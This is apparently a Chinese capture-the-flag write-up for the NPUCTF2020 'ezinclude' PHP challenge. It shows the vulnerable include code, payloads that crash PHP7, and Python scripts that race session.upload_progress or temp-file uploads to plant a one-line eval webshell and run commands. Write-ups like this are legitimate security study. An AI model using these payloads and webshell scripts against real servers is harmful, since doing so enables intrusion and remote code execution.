IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [ctf web][NPUCTF2020]ezinclude + (session对话[session.upload_progress]文件包含 + php7 segment fault特性) -> 正文阅读

[PHP知识库][ctf web][NPUCTF2020]ezinclude + (session对话[session.upload_progress]文件包含 + php7 segment fault特性)

知识点

利用session对话[session.upload_progress]进行文件包含

利用session对话session.upload_progress条件竞争将命令写入session文件,然后包含这个session文件,执行php命令
当session.use_strict_mode为on,我们可以自己设置Cookie:PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。
在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session


php7 segment fault特性

段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

让PHP异常崩溃的payload:
php < 7.2

php://filter/string.strip_tags/resource=/etc/passwd

php7 老版本通杀

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA


wp

[NPUCTF2020]ezinclude

查看源码发现提示<!--md5($secret.$name)===$pass -->
get传$name$pass,然后发现cookie中有hash
在这里插入图片描述hash是随着name变化的,猜测hash就是md5($secret.$name),传参发现有个重定向(如果是在view-source状态下不会重定向过去的)

在这里插入图片描述
flflflflag.php,文件包含
在这里插入图片描述
可以用php://filter读源码

/flflflflag.php?file=php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述


1.源码

index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了data和input,可能无法直接执行命令了

扫描还可以得到dir.php,显示/tmp底下的文件

<?php
var_dump(scandir('/tmp'));
?>

在这里插入图片描述


2.文件包含

way1 利用session对话[session.upload_progress]进行文件包含

思路:利用session.upload_progress条件竞争将命令写入session文件,然后包含这个session文件,执行php命令,写入一句话木马shell.php


我们可以看到cookie里面没有phpsessid,当session.use_strict_mode为on,我们可以自己设置Cookie:PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。
在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

大佬的脚本:写入shell的python脚本

import io
import sys
import requests
import threading

host = 'http://de198dd7-5ee5-4fae-a188-83bc584d65a9.node4.buuoj.cn:81/flflflflag.php'
sessid = 'vrh'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
        # if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

在这里插入图片描述
蚁剑可以连shell,但flag不在服务器里面,在phpinfo里
在这里插入图片描述
在这里插入图片描述


way2 利用php7 segment fault特性

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

php < 7.2的payload

php://filter/string.strip_tags/resource=/etc/passwd

写个脚本传文件

import requests

url='http://5ca9dea7-ab1a-4366-b169-d07b563323d0.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
aaa = {
    'file':('aa.php',
    '<?php @eval($_POST[cmd])?>')			
    //get的🐎好像用不了欸,不对,是我get传参的方式错了,应该是?file=xxx&cmd=phpinfo();这样
	}

r = requests.post(url=url,files=aaa)
print(r.text)

在这里插入图片描述
再访问dir会发现多了个文件/tmp/phpqJEtDK(我试了好多遍…)
在这里插入图片描述
在这里插入图片描述
补个大佬的漂亮脚本,我怎么传文件脚本都写得这么丑

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

参考链接:
https://blog.csdn.net/rfrder/article/details/114656092
https://guokeya.github.io/post/cbMk6sLKe/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 10:38:00  更:2021-09-10 10:38:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 18:35:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计